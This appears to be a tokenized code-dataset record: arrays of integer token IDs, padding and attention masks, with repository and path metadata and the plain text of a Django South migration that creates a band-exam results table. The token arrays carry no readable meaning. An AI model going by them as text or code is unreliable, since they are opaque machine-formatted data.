17926, 18339, 26, 288, 2512, 14, 815, 480, 221, 1166, 16368, 633, 9, 288, 4866, 13086, 432, 14, 740, 8, 359, 3367, 10963, 320, 2360, 1166, 2360, 283, 2131, 4249, 7, 1622, 776, 288, 655, 17926, 18339, 14, 525, 8, 633, 9, 267, 587, 26, 288, 2512, 14, 815, 480, 221, 1166, 366, 4230, 10641, 16368, 633, 9, 339, 372, 4866, 13086, 432, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 17807, 4559, 199, 3, 4837, 317, 6327, 645, 29549, 446, 1323, 28994, 11349, 199, 3, 445, 368, 630, 12665, 3063, 4249, 199, 3, 1455, 921, 11486, 14, 84, 637, 645, 29549, 14, 815, 15, 2718, 13, 21382, 15, 321, 317, 6327, 645, 29549, 15, 199, 17807, 4559, 199, 199, 646, 7097, 12, 4078, 18, 12, 4078, 12, 264, 199, 646, 747, 199, 199, 504, 6170, 492, 28348, 199, 504, 6170, 492, 2512, 199, 504, 6170, 492, 1101, 199, 199, 318, 511, 63, 3722, 63, 2444, 8, 2034, 63, 633, 3461, 272, 372, 715, 12, 341, 199, 199, 318, 664, 63, 3722, 63, 633, 8, 2034, 63, 633, 2360, 876, 23481, 275, 756, 2360, 922, 9287, 2360, 2505, 8772, 3991, 63, 2060, 9287, 3461, 272, 2512, 14, 815, 10994, 2131, 4249, 14, 647, 61, 664, 63, 3722, 63, 633, 334, 1606, 63, 633, 9569, 83, 19124, 450, 2034, 63, 633, 9, 2286, 1449, 272, 665, 65, 4369, 628, 1014, 921, 70, 996, 14, 2131, 4249, 14, 331, 15, 5030, 15, 3328, 25015, 65, 25, 825, 13583, 2829, 20, 271, 16771, 2866, 2789, 2501, 25, 65, 16, 771, 18, 15, 1400, 371, 2114, 645, 15, 1822, 845, 67, 25, 67, 2710, 2871, 70, 19, 63, 6606, 14, 6051, 89, 14, 83, 845, 69, 996, 14, 6910, 5653, 14, 954, 6123, 14, 72, 3583, 86, 14, 88, 5017, 63, 71, 1189, 12802, 14, 7194, 2, 1021, 628, 9633, 19368, 13, 68, 12974, 8186, 73, 1021, 628, 4677, 13, 7510, 7016, 13, 4249, 10070, 73, 30, 17955, 7356, 1108, 65, 30, 272, 1449, 272, 666, 275, 28348, 14, 1637, 63, 1606, 8, 2034, 63, 633, 776, 272, 2512, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 666, 5424, 435, 666, 9, 272, 862, 26, 267, 1166, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 28, 65, 4369, 24296, 25952, 1021, 628, 9633, 19368, 13, 68, 12974, 8186, 73, 1021, 628, 4677, 13, 7510, 7016, 13, 4249, 10070, 73, 30, 17955, 7356, 1108, 65, 5971, 272, 871, 26, 267, 327, 4, 14, 362, 4769, 1246, 15, 1418, 14, 8624, 31, 1418, 29, 23, 69, 17, 371, 1643, 1587, 9963, 21, 697, 4489, 18823, 1690, 69, 17, 65, 13730, 1085, 2658, 3547, 1362, 198, 1418, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 29478, 1246, 15, 1418, 14, 8624, 29635, 1418, 1524, 62, 937, 10, 5942, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 1526, 5424, 435, 1526, 9, 1362, 198, 68, 29, 28348, 14, 1637, 63, 1606, 8, 298, 1014, 921, 1544, 14, 2131, 4249, 14, 331, 7709, 1526, 776, 1362, 198, 633, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 16844, 1872, 26, 971, 7601, 65, 1021, 628, 9633, 19368, 13, 68, 12974, 2, 4369, 24296, 10, 5942, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 1166, 63, 17, 5424, 435, 1166, 9, 1362, 198, 576, 275, 28348, 14, 1637, 63, 1606, 480, 1014, 921, 1544, 14, 2131, 4249, 14, 331, 2, 435, 1166, 776, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 666, 5424, 435, 666, 9, 1362, 198, 3, 28, 65, 4369, 628, 1014, 921, 70, 1644, 14, 2131, 4249, 14, 331, 15, 5030, 15, 24, 825, 16710, 614, 2481, 2501, 23, 65, 2025, 1138, 15883, 696, 23, 69, 975, 15504, 1407, 15, 1400, 371, 3172, 66, 19, 15, 70, 2942, 19119, 70, 20, 68, 1153, 65, 21, 63, 8471, 350, 345, 14, 4466, 391, 329, 65, 63, 387, 1435, 573, 14, 974, 6153, 14, 20, 88, 614, 14, 1545, 4595, 3006, 14, 614, 14, 21492, 14, 14997, 24210, 14, 88, 5017, 63, 384, 90, 14, 7194, 2, 1021, 628, 9633, 19368, 13, 3742, 1743, 12040, 2348, 370, 5235, 8546, 1108, 65, 30, 1362, 198, 633, 275, 28348, 14, 362, 63, 1431, 8, 576, 2584, 28, 65, 4369, 24296, 25952, 1021, 628, 9633, 19368, 13, 3742, 1743, 12040, 2348, 370, 5235, 8546, 1108, 65, 5971, 1362, 198, 2921, 14, 1757, 10994, 2131, 4249, 14, 647, 61, 1166, 63, 5094, 5424, 435, 1166, 9, 2286, 3991, 63, 3603, 275, 359, 633, 61, 272, 372, 3991, 63, 3603, 199, 199, 3, 3447, 15140, 484, 345, 373, 13676, 18808, 2150, 8926, 5017, 269, 655, 579, 1318, 79, 19099, 5129, 199, 318, 2342, 63, 11418, 8, 576, 304, 272, 655, 17926, 18339, 275, 663, 342, 272, 4866, 13086, 432, 275, 942, 339, 327, 1014, 921, 1544, 14, 2131, 4249, 14, 331, 15, 5030, 15, 25, 71, 758, 15907, 1276, 1138, 72, 74, 25, 272, 327, 1014, 921, 1544, 14, 2131, 4249, 14, 16913, 15, 5030, 15, 15165, 20, 71, 2635, 14947, 22, 74, 23, 66, 272, 32500, 11418, 221, 275, 8189, 2131, 4249, 3134, 87, 91, 18, 5995, 5030, 32418, 65, 13, 90, 16, 13, 25, 29716, 272, 2512, 14, 815, 10994, 2131, 4249, 14, 647, 61, 2342, 63, 11418, 327, 7709, 10853, 2641, 11418, 5207, 3, 531, 272, 4450, 275, 295, 14, 2014, 8, 10853, 2641, 11418, 12, 264, 14, 16504, 680, 6452, 8, 576, 9, 339, 367, 1336, 315, 4450, 26, 267, 3367, 10963, 320, 275, 7369, 2131, 4249, 8480, 267, 1166, 275, 298, 1014, 921, 1544, 2122, 11, 1431, 267, 340, 1166, 440, 315, 655, 17926, 18339, 26, 288, 2512, 14, 815, 480, 221, 1166, 16368, 633, 9, 288, 4866, 13086, 432, 14, 740, 8, 359, 3367, 10963, 320, 2360, 1166, 2360, 283, 2131, 4249, 7, 1622, 776, 288, 655, 17926, 18339, 14, 525, 8, 633, 9, 267, 587, 26, 288, 2512, 14, 815, 480, 221, 1166, 366, 4230, 10641, 16368, 633, 9, 339, 372, 4866, 13086, 432, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
team-xue/xue
xue/bandexams/migrations/0001_initial.py
1
4513
# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'BandExamResult' db.create_table('bandexams_bandexamresult', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('user', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['auth.User'])), ('exam_type', self.gf('django.db.models.fields.IntegerField')()), ('score', self.gf('django.db.models.fields.IntegerField')(default=0)), )) db.send_create_signal('bandexams', ['BandExamResult']) def backwards(self, orm): # Deleting model 'BandExamResult' db.delete_table('bandexams_bandexamresult') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'bandexams.bandexamresult': { 'Meta': {'object_name': 'BandExamResult'}, 'exam_type': ('django.db.models.fields.IntegerField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'score': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) } } complete_apps = ['bandexams']
bsd-3-clause
[ 3, 2644, 26, 2774, 13, 24, 202, 199, 646, 2197, 202, 199, 504, 12919, 14, 697, 492, 1592, 202, 199, 504, 12919, 14, 86, 18, 492, 24765, 202, 199, 504, 1639, 14, 697, 492, 1709, 2999, 199, 533, 12090, 8, 24822, 304, 2958, 347, 17465, 8, 277, 12, 9813, 304, 13594, 327, 12934, 1402, 283, 11675, 920, 455, 2889, 7, 1039, 1592, 14, 981, 63, 1224, 360, 13206, 731, 19470, 63, 13206, 731, 455, 1099, 297, 334, 1675, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 1675, 661, 751, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 1178, 14, 1899, 16607, 1675, 661, 15425, 63, 466, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 358, 4000, 1675, 661, 3397, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 7533, 885, 29, 16, 1826, 1039, 5082, 1039, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13206, 731, 19470, 297, 788, 11675, 920, 455, 2889, 1105, 18801, 347, 8552, 8, 277, 12, 9813, 304, 13594, 327, 15920, 1402, 283, 11675, 920, 455, 2889, 7, 1039, 1592, 14, 1807, 63, 1224, 360, 13206, 731, 19470, 63, 13206, 731, 455, 1099, 358, 18801, 1709, 275, 469, 1039, 283, 1178, 14, 923, 356, 469, 1675, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 1675, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 1039, 1660, 1039, 283, 1178, 14, 5693, 356, 469, 1675, 283, 3396, 356, 791, 7128, 356, 16111, 1317, 63, 466, 363, 571, 63, 1302, 297, 283, 1317, 63, 466, 363, 1238, 297, 283, 11879, 18106, 283, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 1675, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 1675, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 1039, 1660, 1039, 283, 1178, 14, 751, 356, 469, 1675, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 1675, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 1675, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 1604, 1675, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 1675, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 1675, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 1675, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 1675, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 1039, 1660, 1039, 283, 13206, 731, 19470, 14, 13206, 731, 455, 1099, 356, 469, 1675, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 11675, 920, 455, 2889, 2267, 1675, 283, 15425, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 297, 990, 8613, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 3397, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 297, 990, 791, 885, 356, 283, 16, 1604, 1675, 283, 751, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 1178 ]
[ 2644, 26, 2774, 13, 24, 202, 199, 646, 2197, 202, 199, 504, 12919, 14, 697, 492, 1592, 202, 199, 504, 12919, 14, 86, 18, 492, 24765, 202, 199, 504, 1639, 14, 697, 492, 1709, 2999, 199, 533, 12090, 8, 24822, 304, 2958, 347, 17465, 8, 277, 12, 9813, 304, 13594, 327, 12934, 1402, 283, 11675, 920, 455, 2889, 7, 1039, 1592, 14, 981, 63, 1224, 360, 13206, 731, 19470, 63, 13206, 731, 455, 1099, 297, 334, 1675, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 1675, 661, 751, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 1178, 14, 1899, 16607, 1675, 661, 15425, 63, 466, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 358, 4000, 1675, 661, 3397, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 7533, 885, 29, 16, 1826, 1039, 5082, 1039, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13206, 731, 19470, 297, 788, 11675, 920, 455, 2889, 1105, 18801, 347, 8552, 8, 277, 12, 9813, 304, 13594, 327, 15920, 1402, 283, 11675, 920, 455, 2889, 7, 1039, 1592, 14, 1807, 63, 1224, 360, 13206, 731, 19470, 63, 13206, 731, 455, 1099, 358, 18801, 1709, 275, 469, 1039, 283, 1178, 14, 923, 356, 469, 1675, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 1675, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 1039, 1660, 1039, 283, 1178, 14, 5693, 356, 469, 1675, 283, 3396, 356, 791, 7128, 356, 16111, 1317, 63, 466, 363, 571, 63, 1302, 297, 283, 1317, 63, 466, 363, 1238, 297, 283, 11879, 18106, 283, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 1675, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 1675, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 1039, 1660, 1039, 283, 1178, 14, 751, 356, 469, 1675, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 1675, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 1675, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 374, 63, 2682, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 549, 1604, 1675, 283, 374, 63, 7018, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 1675, 283, 374, 63, 11434, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 297, 990, 791, 885, 356, 283, 797, 1604, 1675, 283, 2019, 63, 2886, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 1675, 283, 2019, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 3933, 1604, 1675, 283, 751, 63, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 1675, 283, 2473, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1216, 3071, 1039, 1660, 1039, 283, 13206, 731, 19470, 14, 13206, 731, 455, 1099, 356, 469, 1675, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 11675, 920, 455, 2889, 2267, 1675, 283, 15425, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 297, 990, 8613, 1675, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 1675, 283, 3397, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 297, 990, 791, 885, 356, 283, 16, 1604, 1675, 283, 751, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rajalokan/nova
nova/tests/functional/test_list_servers_ip_filter.py
2
5042
